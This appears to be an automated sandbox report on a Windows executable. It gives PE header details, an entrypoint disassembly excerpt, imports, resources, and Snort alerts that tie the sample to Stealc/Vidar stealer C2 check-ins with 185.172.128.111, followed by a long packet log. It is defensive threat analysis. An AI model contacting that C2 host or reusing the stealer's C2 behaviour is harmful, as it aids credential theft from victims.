Icon Hash:	41254945414d510d

Static PE Info

General

Entrypoint:	0x404457
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64EECA28 [Wed Aug 30 04:48:40 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	35d2f187a446fa7dcfd6bfdfd63133ca

Entrypoint Preview

Instruction
call 00007F1E08B55242h
jmp 00007F1E08B4F3C5h
push 00000014h
push 00418048h
call 00007F1E08B52638h
call 00007F1E08B55413h
movzx esi, ax
push 00000002h
call 00007F1E08B551D5h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F1E08B4F3C6h
xor ebx, ebx
jmp 00007F1E08B4F3F5h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F1E08B4F3ADh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F1E08B4F39Fh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F1E08B4F3CBh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F1E08B5180Fh
test eax, eax
jne 00007F1E08B4F3CAh
push 0000001Ch
call 00007F1E08B4F4A1h
pop ecx
call 00007F1E08B50DC2h
test eax, eax
jne 00007F1E08B4F3CAh
push 00000010h
call 00007F1E08B4F490h
pop ecx
call 00007F1E08B5524Eh
and dword ptr [ebp-04h], 00000000h
call 00007F1E08B535F1h
test eax, eax
jns 00007F1E08B4F3CAh
push 0000001Bh
call 00007F1E08B4F476h
pop ecx
call dword ptr [004120B0h]
mov dword ptr [04022124h], eax
call 00007F1E08B55269h
mov dword ptr [0043468Ch], eax
call 00007F1E08B54E26h
test eax, eax
jns 00007F1E08B4F3CAh

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x18454	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c23000	0xd5f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3c31000	0x137c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x121f0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x17970	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x12000	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x10035	0x10200	e385ff8c34a225c37f40c4a39a1e42a1	False	0.6008660368217055	data	6.692901204837232	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x12000	0x6ce4	0x6e00	6a0a229846a826287d6a36bad73905b5	False	0.3907315340909091	data	4.72540503260492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x19000	0x3c09128	0x1b800	f410e111940875ab49dd014ef933ccdc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3c23000	0xd5f8	0xd600	bf9b74fff4b1d05b2b5b5758a5005dfa	False	0.514383761682243	data	5.48541100884093	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3c31000	0x137c	0x1400	5211eb28e215aa019dd9dd4444c2959e	False	0.7478515625	data	6.461415796010315	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x3c2fe38	0xe	data			1.5714285714285714
RT_ICON	0x3c234a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.5639658848614072
RT_ICON	0x3c24348	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.5478339350180506
RT_ICON	0x3c24bf0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.619942196531792
RT_ICON	0x3c25158	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4616182572614108
RT_ICON	0x3c27700	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4878048780487805
RT_ICON	0x3c287a8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.49631147540983606
RT_ICON	0x3c29130	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.450354609929078
RT_ICON	0x3c29600	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.4240405117270789
RT_ICON	0x3c2a4a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.4833032490974729
RT_ICON	0x3c2ad50	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5835253456221198
RT_ICON	0x3c2b418	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.4913294797687861
RT_ICON	0x3c2b980	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4701244813278008
RT_ICON	0x3c2df28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4878048780487805
RT_ICON	0x3c2efd0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.5032786885245901
RT_ICON	0x3c2f958	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.5514184397163121
RT_STRING	0x3c30088	0x2bc	data	Romanian	Romania	0.49142857142857144
RT_STRING	0x3c30348	0x2ac	data	Romanian	Romania	0.48830409356725146
RT_GROUP_ICON	0x3c29598	0x68	data	Romanian	Romania	0.6923076923076923
RT_GROUP_ICON	0x3c2fdc0	0x76	data	Romanian	Romania	0.6779661016949152
RT_VERSION	0x3c2fe48	0x23c	data			0.5314685314685315

Imports

DLL

Import

KERNEL32.dll

GlobalMemoryStatus, GetLocaleInfoA, FindResourceExW, LocalCompact, InterlockedDecrement, GetComputerNameW, CreateHardLinkA, GetSystemDefaultLCID, BackupSeek, GetTickCount, GetConsoleAliasesA, GetWindowsDirectoryA, EnumTimeFormatsW, GetUserDefaultLangID, SetCommState, GlobalAlloc, LoadLibraryW, ReadConsoleInputA, WriteConsoleW, GetModuleFileNameW, MultiByteToWideChar, GetLastError, ChangeTimerQueueTimer, SetLastError, GetThreadLocale, GetProcAddress, RemoveDirectoryA, SetFileAttributesA, BuildCommDCBW, LoadLibraryA, SetCalendarInfoW, GetExitCodeThread, AddAtomW, GlobalFindAtomW, GetOEMCP, LoadLibraryExA, VirtualProtect, GetConsoleProcessList, GetTempPathA, GetVolumeInformationW, HeapAlloc, EncodePointer, DecodePointer, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, IsDebuggerPresent, IsValidCodePage, GetACP, GetCPInfo, GetCurrentThreadId, HeapFree, ExitProcess, GetModuleHandleExW, WideCharToMultiByte, GetStdHandle, WriteFile, GetProcessHeap, EnterCriticalSection, LeaveCriticalSection, FlushFileBuffers, GetConsoleCP, GetConsoleMode, DeleteCriticalSection, HeapSize, GetFileType, GetStartupInfoW, CloseHandle, GetModuleFileNameA, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, GetStringTypeW, LoadLibraryExW, OutputDebugStringW, LCMapStringW, SetStdHandle, SetFilePointerEx, HeapReAlloc, CreateFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/26/24-09:41:01.245297	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49730	185.172.128.111	192.168.2.4
04/26/24-09:40:59.974509	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49730	80	192.168.2.4	185.172.128.111
04/26/24-09:41:01.247124	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49730	80	192.168.2.4	185.172.128.111
04/26/24-09:41:00.889984	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49730	80	192.168.2.4	185.172.128.111
04/26/24-09:41:01.603989	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49730	185.172.128.111	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 09:40:59.732275009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:40:59.974034071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:40:59.974195004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:40:59.974509001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:00.214539051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:00.875365973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:00.875547886 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:00.889983892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:01.130528927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.245296955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.245322943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.245455980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:01.247123957 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:01.488440990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.603988886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.604017973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.604068041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.604085922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.604113102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.604110956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:01.604147911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:01.604185104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:01.640306950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:01.640373945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:01.882961988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.882991076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.883008003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.883045912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.883061886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.883080006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:01.883095980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.314656019 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.314742088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:02.640788078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:02.884541035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.993244886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.993274927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.993294001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.993310928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.993350029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.993397951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.993417978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.993432999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.993624926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.993659973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:02.993680954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:02.993717909 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.243736982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243761063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243772984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243784904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243799925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243812084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243824959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243832111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.243835926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243850946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243874073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.243899107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243911982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243926048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243937016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.243951082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243963957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.243967056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.244015932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.244049072 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.244061947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.244075060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.244086981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.244117022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.244136095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.244141102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.244148970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.244179964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.244215012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.484257936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.484323978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.484365940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.484388113 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.484402895 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.484416962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.484441996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.484467030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.484484911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.484504938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.484525919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.484539986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.484580040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.484651089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.484697104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.484759092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.484838009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.484894037 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.484911919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.484954119 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.484968901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485007048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485025883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485063076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485078096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485119104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485132933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485172987 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485188961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485213041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485229969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485272884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485284090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485322952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485337973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485377073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485522032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485579967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485625029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485666990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485681057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485707998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485719919 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485760927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485780001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485852003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485855103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485907078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.485927105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.485982895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486000061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486040115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486068010 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486104012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486109018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486166000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486212969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486285925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486289024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486325979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486350060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486361980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486372948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486432076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486439943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486469030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486485958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486538887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486546040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486577988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486594915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486614943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486641884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486685038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486696005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486726046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.486740112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.486793995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.724878073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.724940062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.724983931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.724993944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725020885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725023985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.725056887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725063086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.725090981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725121975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725186110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.725255966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725261927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.725317955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.725320101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725382090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725439072 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.725502968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725559950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.725600004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.725631952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725662947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725706100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.725771904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725775957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.725843906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725879908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.725919008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.725948095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.725977898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.726017952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.726080894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.726120949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.726187944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.726191044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.726253986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.726284027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.726347923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.726356983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.726422071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.726425886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.726490974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.726535082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.726577044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.726608992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.726639986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.726680994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.726742983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.726749897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.726809025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.726851940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.726917982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.726924896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.726986885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.727020979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727083921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.727132082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727195978 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.727202892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727261066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.727298021 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727360010 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.727368116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727431059 CEST	49730	80	192.168.2.4	185.172.128.111
